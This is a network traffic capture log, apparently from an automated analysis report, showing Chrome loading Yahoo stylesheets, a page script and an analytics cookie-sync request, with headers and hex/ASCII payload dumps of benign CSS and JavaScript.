Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	553	OUT	GET /aaq/cprops/colors_1.1.27.min.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:12 UTC	788	IN	HTTP/1.1 200 OK x-amz-id-2: mgiiiXU4KjwKTqEoDH9EMQXwTxKjJIbTa4uOQVuOSMC4tY5A3zK9Av7b7d+aKtt6+jOm8Rfsb6g= x-amz-request-id: 89A580096KCFJGNB Date: Wed, 10 Jan 2024 23:27:13 GMT Last-Modified: Tue, 10 Jan 2023 00:56:08 GMT ETag: "14b81b9d43cc8eb81ae45eebbaae258c" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: NXuB5LUlzqQuAXf127xyo2NVNfa.SWqk Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 6179 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 3a 72 6f 6f 74 2c 68 74 6d 6c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3d 64 61 72 6b 5d 20 5b 64 61 74 61 2d 6d 61 69 6e 74 61 69 6e 2d 63 6f 6c 6f 72 5d 2c 68 74 6d 6c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 2d 65 6e 61 62 6c 65 64 5d 20 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3d 6c 69 67 68 74 5d 2c 68 74 6d 6c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 2d 65 6e 61 62 6c 65 64 5d 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3d 6c 69 67 68 74 5d 7b 2d 2d 62 61 72 62 69 65 3a 23 66 38 30 65 35 64 3b 2d 2d 62 61 72 6e 65 79 3a 23 63 63 30 30 38 63 3b 2d 2d 62 61 74 63 61 76 65 3a 23 32 33 32 61 33 31 3b 2d 2d 62 61 74 74 6c 65 73 68 69 70 3a 23 35 62 36 33 36 61 3b 2d 2d 62 6c 61 63 6b 3a 23 30 30 30 Data Ascii: :root,html[data-color-scheme=dark] [data-maintain-color],html[data-color-theme-enabled] [data-color-scheme=light],html[data-color-theme-enabled][data-color-scheme=light]{--barbie:#f80e5d;--barney:#cc008c;--batcave:#232a31;--battleship:#5b636a;--black:#000
2024-01-10 23:27:12 UTC	954	IN	Data Raw: 61 74 69 6f 6e 2d 31 3a 30 20 31 70 78 20 30 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 64 69 72 74 79 2d 73 65 61 67 75 6c 6c 29 2c 31 29 3b 2d 2d 65 6c 65 76 61 74 69 6f 6e 2d 32 3a 30 20 30 20 31 70 78 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 62 6c 61 63 6b 29 2c 30 2e 31 29 2c 30 20 32 70 78 20 34 70 78 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 62 6c 61 63 6b 29 2c 30 2e 30 38 29 3b 2d 2d 65 6c 65 76 61 74 69 6f 6e 2d 33 3a 30 20 30 20 31 70 78 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 62 6c 61 63 6b 29 2c 30 2e 30 38 29 2c 30 20 34 70 78 20 38 70 78 20 72 67 62 61 28 76 61 72 28 2d 2d 72 67 62 2d 62 6c 61 63 6b 29 2c 30 2e 31 29 3b 2d 2d 65 6c 65 76 61 74 69 6f 6e 2d 34 3a 30 20 30 20 32 70 78 20 72 67 62 61 28 76 61 72 28 2d Data Ascii: ation-1:0 1px 0 rgba(var(--rgb-dirty-seagull),1);--elevation-2:0 0 1px rgba(var(--rgb-black),0.1),0 2px 4px rgba(var(--rgb-black),0.08);--elevation-3:0 0 1px rgba(var(--rgb-black),0.08),0 4px 8px rgba(var(--rgb-black),0.1);--elevation-4:0 0 2px rgba(var(-
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 23 39 30 37 63 66 66 3b 2d 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 3a 23 32 33 32 61 33 31 3b 2d 2d 6d 69 64 6e 69 67 68 74 3a 23 66 66 66 3b 2d 2d 6d 75 6c 62 65 72 72 79 3a 23 39 30 37 63 66 66 3b 2d 2d 70 65 62 62 6c 65 3a 23 35 62 36 33 36 61 3b 2d 2d 72 61 6d 6f 6e 65 73 3a 23 62 30 62 39 63 31 3b 2d 2d 73 63 6f 6f 74 65 72 3a 23 31 32 61 39 66 66 3b 2d 2d 73 68 61 72 6b 3a 23 62 30 62 39 63 31 3b 2d 2d 73 6f 6c 6f 2d 63 75 70 3a 23 66 66 34 64 35 32 3b 2d 2d 73 74 61 72 66 69 73 68 3a 23 39 30 37 63 66 66 3b 2d 2d 77 68 69 74 65 3a 23 31 64 32 32 32 38 3b 2d 2d 72 67 62 2d 62 61 74 63 61 76 65 3a 33 35 2c 34 32 2c 34 39 3b 2d 2d 72 67 62 2d 64 6f 72 79 3a 37 30 2c 37 38 2c 38 36 3b 2d 2d 72 67 62 2d 64 69 72 74 79 2d 73 65 61 67 75 6c 6c 3a 32 32 34 2c Data Ascii: #907cff;--marshmallow:#232a31;--midnight:#fff;--mulberry:#907cff;--pebble:#5b636a;--ramones:#b0b9c1;--scooter:#12a9ff;--shark:#b0b9c1;--solo-cup:#ff4d52;--starfish:#907cff;--white:#1d2228;--rgb-batcave:35,42,49;--rgb-dory:70,78,86;--rgb-dirty-seagull:224,
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 78 3a 23 39 30 37 63 66 66 3b 2d 2d 68 75 6c 6b 2d 70 61 6e 74 73 3a 23 39 30 37 63 66 66 3b 2d 2d 69 6e 6b 77 65 6c 6c 3a 23 66 66 66 3b 2d 2d 6d 61 6c 62 65 63 3a 23 39 30 37 63 66 66 3b 2d 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 3a 23 32 33 32 61 33 31 3b 2d 2d 6d 69 64 6e 69 67 68 74 3a 23 66 66 66 3b 2d 2d 6d 75 6c 62 65 72 72 79 3a 23 39 30 37 63 66 66 3b 2d 2d 70 65 62 62 6c 65 3a 23 35 62 36 33 36 61 3b 2d 2d 72 61 6d 6f 6e 65 73 3a 23 62 30 62 39 63 31 3b 2d 2d 73 63 6f 6f 74 65 72 3a 23 31 32 61 39 66 66 3b 2d 2d 73 68 61 72 6b 3a 23 62 30 62 39 63 31 3b 2d 2d 73 6f 6c 6f 2d 63 75 70 3a 23 66 66 34 64 35 32 3b 2d 2d 73 74 61 72 66 69 73 68 3a 23 39 30 37 63 66 66 3b 2d 2d 77 68 69 74 65 3a 23 31 64 32 32 32 38 3b 2d 2d 72 67 62 2d 62 61 74 63 61 76 Data Ascii: x:#907cff;--hulk-pants:#907cff;--inkwell:#fff;--malbec:#907cff;--marshmallow:#232a31;--midnight:#fff;--mulberry:#907cff;--pebble:#5b636a;--ramones:#b0b9c1;--scooter:#12a9ff;--shark:#b0b9c1;--solo-cup:#ff4d52;--starfish:#907cff;--white:#1d2228;--rgb-batcav
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 69 6e 3a 23 36 65 37 37 38 30 3b 2d 2d 64 6f 72 79 3a 23 30 66 36 39 66 66 3b 2d 2d 67 61 6e 64 61 6c 66 3a 23 39 37 39 65 61 38 3b 2d 2d 67 72 61 70 65 2d 6a 65 6c 6c 79 3a 23 36 30 30 31 64 32 3b 2d 2d 67 72 65 79 2d 68 61 69 72 3a 23 66 30 66 33 66 35 3b 2d 2d 68 65 6e 64 72 69 78 3a 23 66 38 66 34 66 66 3b 2d 2d 68 75 6c 6b 2d 70 61 6e 74 73 3a 23 37 65 31 66 66 66 3b 2d 2d 69 6e 6b 77 65 6c 6c 3a 23 31 64 32 32 32 38 3b 2d 2d 6b 69 77 69 3a 23 30 30 64 31 35 65 3b 2d 2d 6d 61 6c 62 65 63 3a 23 33 39 30 30 37 64 3b 2d 2d 6d 61 6c 69 62 75 3a 23 66 66 30 30 38 30 3b 2d 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 3a 23 66 35 66 38 66 61 3b 2d 2d 6d 61 73 61 6c 61 3a 23 66 66 38 62 31 32 3b 2d 2d 6d 69 64 6e 69 67 68 74 3a 23 31 30 31 35 31 38 3b 2d 2d 6d 69 6d Data Ascii: in:#6e7780;--dory:#0f69ff;--gandalf:#979ea8;--grape-jelly:#6001d2;--grey-hair:#f0f3f5;--hendrix:#f8f4ff;--hulk-pants:#7e1fff;--inkwell:#1d2228;--kiwi:#00d15e;--malbec:#39007d;--malibu:#ff0080;--marshmallow:#f5f8fa;--masala:#ff8b12;--midnight:#101518;--mim
2024-01-10 23:27:12 UTC	25	IN	Data Raw: 3b 2d 2d 66 72 6f 6e 74 69 65 72 2d 72 65 64 3a 23 63 34 31 32 33 30 7d 7d Data Ascii: ;--frontier-red:#c41230}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49873	34.200.65.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	1114	OUT	GET /ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC=19cw~2g3z; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A
2024-01-10 23:27:12 UTC	550	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:12 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Credentials: true Set-Cookie: IDSYNC="19cw~2g3z:19e0~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:12 GMT;Secure;SameSite=None Vary: Origin P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.94
2024-01-10 23:27:12 UTC	71	IN	Data Raw: 33 63 0d 0a 7b 22 61 78 69 64 22 3a 20 22 65 53 31 4e 59 56 4e 49 65 6d 78 47 52 54 4a 31 53 47 4e 69 62 31 55 30 54 6a 52 71 53 47 68 6d 62 6d 74 30 4e 6b 52 31 5a 33 52 6d 65 48 35 42 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3c{"axid": "eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49875	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	616	OUT	GET /aaq/fp/css/react-wafer-scores.ScoresRefresh.atomic.ltr.ed90d13ca69f2880bd2bff5d2879f31a.min.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:12 UTC	788	IN	HTTP/1.1 200 OK x-amz-id-2: 4SY3JeflNQyQ7jLPEiHu2W7morPLipWH0NUepJIzPJbKJCYe6QPaPA7bP2bX/W8s2GBYa9Bq8q8= x-amz-request-id: 89ABS1RKMHH9GT65 Date: Wed, 10 Jan 2024 23:27:13 GMT Last-Modified: Fri, 15 Dec 2023 14:53:17 GMT ETag: "ed90d13ca69f2880bd2bff5d2879f31a" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: Zy00iSGI_gkMz3G.QtoF34.V5c.CnwMC Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 5907 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 23 61 74 6f 6d 69 63 20 2e 41 69 5c 28 63 5c 29 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 23 61 74 6f 6d 69 63 20 2e 41 69 5c 28 66 65 5c 29 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 65 6e 64 7d 23 61 74 6f 6d 69 63 20 2e 42 64 5c 28 30 5c 29 2c 2e 42 64 5c 28 30 5c 29 7b 62 6f 72 64 65 72 3a 30 7d 23 61 74 6f 6d 69 63 20 2e 42 64 5c 28 6e 5c 29 2c 2e 42 64 5c 28 6e 5c 29 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 7d 23 61 74 6f 6d 69 63 20 2e 42 64 65 6e 64 63 5c 28 2d 2d 68 75 6c 6b 2d 70 61 6e 74 73 5c 29 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 23 37 65 31 66 66 66 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 68 75 6c 6b 2d 70 61 6e 74 73 29 7d 2e 61 63 74 69 76 65 2d 73 63 6f Data Ascii: #atomic .Ai$c${align-items:center}#atomic .Ai$fe${align-items:flex-end}#atomic .Bd$0$,.Bd$0${border:0}#atomic .Bd$n$,.Bd$n${border:none}#atomic .Bdendc$--hulk-pants${border-right-color:#7e1fff;border-right-color:var(--hulk-pants)}.active-sco
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 63 5c 28 2d 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 5c 29 5c 3a 68 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 35 66 38 66 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 29 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 2d 2d 77 61 74 65 72 6d 65 6c 6f 6e 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 34 64 35 32 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 77 61 74 65 72 6d 65 6c 6f 6e 29 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 2d 2d 77 68 69 74 65 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 77 68 69 74 65 29 7d 23 Data Ascii: c$--marshmallow$\:h:hover{background-color:#f5f8fa;background-color:var(--marshmallow)}#atomic .Bgc$--watermelon${background-color:#ff4d52;background-color:var(--watermelon)}#atomic .Bgc$--white${background-color:#fff;background-color:var(--white)}#
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 6b 2d 70 61 6e 74 73 5c 29 5c 3a 68 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 37 65 31 66 66 66 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 68 75 6c 6b 2d 70 61 6e 74 73 29 7d 23 61 74 6f 6d 69 63 20 2e 43 75 72 5c 28 70 5c 29 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 23 61 74 6f 6d 69 63 20 2e 44 5c 28 62 5c 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 23 61 74 6f 6d 69 63 20 2e 44 5c 28 66 5c 29 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 61 74 6f 6d 69 63 20 2e 44 5c 28 69 62 5c 29 2c 61 5b 63 6c 61 73 73 2a 3d 4c 69 6e 65 43 6c 61 6d 70 5d 2c 61 5b 63 6c 61 73 73 2a 3d 4c 69 6e 65 43 6c 61 6d 70 5d 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 23 61 74 6f 6d 69 63 20 2e 46 78 67 5c 28 31 5c 29 7b 66 6c 65 78 Data Ascii: k-pants\)\:h:hover{color:#7e1fff;color:var(--hulk-pants)}#atomic .Cur$p${cursor:pointer}#atomic .D$b${display:block}#atomic .D$f${display:flex}#atomic .D$ib$,a[class=LineClamp],a[class=LineClamp]:after{display:inline-block}#atomic .Fxg$1${flex
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 72 67 69 6e 2d 74 6f 70 3a 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 74 5c 28 38 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 65 6e 64 5c 28 31 30 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 65 6e 64 5c 28 31 32 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 32 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 65 6e 64 5c 28 31 36 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 65 6e 64 5c 28 32 30 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 32 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 65 6e 64 5c 28 38 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d Data Ascii: rgin-top:6px}#atomic .Mt$8px${margin-top:8px}#atomic .Mend$10px${margin-right:10px}#atomic .Mend$12px${margin-right:12px}#atomic .Mend$16px${margin-right:16px}#atomic .Mend$20px${margin-right:20px}#atomic .Mend$8px${margin-right:8px}#atomic .M
2024-01-10 23:27:12 UTC	707	IN	Data Raw: 69 63 20 2e 54 64 5c 28 6e 5c 29 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 23 61 74 6f 6d 69 63 20 2e 54 6f 76 5c 28 65 5c 29 7b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 7d 23 61 74 6f 6d 69 63 20 2e 56 61 5c 28 62 5c 29 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 6f 74 74 6f 6d 7d 23 61 74 6f 6d 69 63 20 2e 56 61 5c 28 6d 5c 29 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 61 74 6f 6d 69 63 20 2e 57 68 73 5c 28 6e 77 5c 29 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 23 61 74 6f 6d 69 63 20 2e 57 5c 28 31 30 30 5c 25 5c 29 7b 77 69 64 74 68 3a 31 30 30 25 7d 23 61 74 6f 6d 69 63 20 2e 57 5c 28 33 30 5c 25 5c 29 7b 77 69 64 74 68 3a 33 30 25 7d 23 61 74 6f 6d Data Ascii: ic .Td$n${text-decoration:none}#atomic .Tov$e${text-overflow:ellipsis}#atomic .Va$b${vertical-align:bottom}#atomic .Va$m${vertical-align:middle}#atomic .Whs$nw${white-space:nowrap}#atomic .W$100\%${width:100%}#atomic .W$30\%${width:30%}#atom

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49877	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	585	OUT	GET /aaq/fp/js/react-wafer-stream.custom.modern.1ed4fe71b1fc647ddbf37a7050944309.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:12 UTC	802	IN	HTTP/1.1 200 OK x-amz-id-2: B29cn4IAW3gN1Xus7OSFo3zanfz3YbEZW76itiuZ/uFsrWh9zON/dvPvxyGDJgW9Qr62jeq2kDE= x-amz-request-id: 89ACHS1VNM1V4Z0V Date: Wed, 10 Jan 2024 23:27:13 GMT Last-Modified: Sat, 02 Dec 2023 00:17:32 GMT ETag: "1ed4fe71b1fc647ddbf37a7050944309" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: xy7lqotFC.zmCqihzzE4iOckpJX.wEX6 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 8254 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 77 69 6e 64 6f 77 2e 77 61 66 65 72 26 26 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 72 65 61 64 79 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 22 73 68 6f 77 2d 64 72 61 77 65 72 22 2c 74 3d 6e 75 6c 6c 2c 61 3d 6e 75 6c 6c 2c 72 3d 22 77 61 66 65 72 2d 66 65 74 63 68 2d 65 72 72 6f 72 22 2c 69 3d 22 77 61 66 65 72 2d 66 65 74 63 68 2d 63 6f 6d 70 6c 65 74 65 22 2c 6e 3d 22 73 74 72 65 61 6d 2d 72 65 6c 61 74 65 64 2d 64 72 61 77 65 72 22 2c 6f 3d 22 53 74 72 65 61 6d 52 65 6c 61 74 65 64 22 2c 73 3d 22 72 65 61 63 74 2d 77 61 66 65 72 2d 73 74 72 65 61 6d 22 2c 63 3d 22 6a 73 6f 6e 22 2c 64 3d 22 77 61 66 65 72 2d 66 65 74 63 68 22 2c 6c 3d 22 73 74 72 65 61 6d 2d 75 75 69 64 2d 6c 69 73 74 22 2c 75 3d 5b 5d 2c 77 3d 64 6f 63 75 6d 65 6e 74 2e Data Ascii: window.wafer&&window.wafer.ready((function(){var e="show-drawer",t=null,a=null,r="wafer-fetch-error",i="wafer-fetch-complete",n="stream-related-drawer",o="StreamRelated",s="react-wafer-stream",c="json",d="wafer-fetch",l="stream-uuid-list",u=[],w=document.
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 52 65 61 64 65 72 2d 6f 70 65 6e 22 29 2c 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 62 61 73 65 2e 6c 6f 63 6b 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 4d 61 69 6e 56 69 65 77 22 29 29 2c 77 69 6e 64 6f 77 2e 73 63 72 6f 6c 6c 54 6f 28 30 2c 30 29 29 2c 74 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 73 74 72 65 61 6d 2d 62 61 74 63 68 2d 66 65 74 63 68 22 29 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 6a 73 2d 64 69 73 70 6c 61 79 2d 63 61 72 64 20 75 6e 70 72 6f 63 65 73 73 65 64 2d 64 69 73 70 6c 61 79 2d 63 61 72 64 22 29 3b 61 2e 6c 65 6e 67 74 68 26 26 Data Ascii: Element.classList.add("Reader-open"),window.wafer.base.lock(document.getElementById("MainView")),window.scrollTo(0,0)),t.classList.contains("stream-batch-fetch")){var a=document.getElementsByClassName("js-display-card unprocessed-display-card");a.length&&
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 77 69 6e 64 6f 77 2e 44 41 52 4c 41 2e 61 64 64 50 6f 73 28 6f 29 3b 76 61 72 20 73 3d 6e 65 77 20 77 69 6e 64 6f 77 2e 44 41 52 4c 41 2e 52 65 73 70 6f 6e 73 65 28 22 52 45 53 45 52 56 45 4d 4f 4d 45 4e 54 53 22 2c 7b 7d 29 3b 69 3d 75 6e 65 73 63 61 70 65 28 69 29 2c 73 2e 61 64 64 28 22 52 45 53 45 52 56 45 4d 4f 4d 45 4e 54 53 22 2c 69 29 2c 77 69 6e 64 6f 77 2e 44 41 52 4c 41 2e 72 65 6e 64 65 72 28 73 29 7d 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 4c 28 29 7b 41 2e 63 6f 6e 76 65 72 74 4e 6f 64 65 4c 69 73 74 54 6f 41 72 72 61 79 28 77 29 2e 66 69 6c 74 65 72 28 28 65 3d 3e 21 65 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 69 6e 69 74 2d 76 69 73 69 74 65 64 22 29 29 29 2e 66 6f 72 45 61 63 68 28 28 6c 3d 3e 7b 6c 2e 63 6c 61 73 73 4c Data Ascii: window.DARLA.addPos(o);var s=new window.DARLA.Response("RESERVEMOMENTS",{});i=unescape(i),s.add("RESERVEMOMENTS",i),window.DARLA.render(s)}}};function L(){A.convertNodeListToArray(w).filter((e=>!e.classList.contains("init-visited"))).forEach((l=>{l.classL
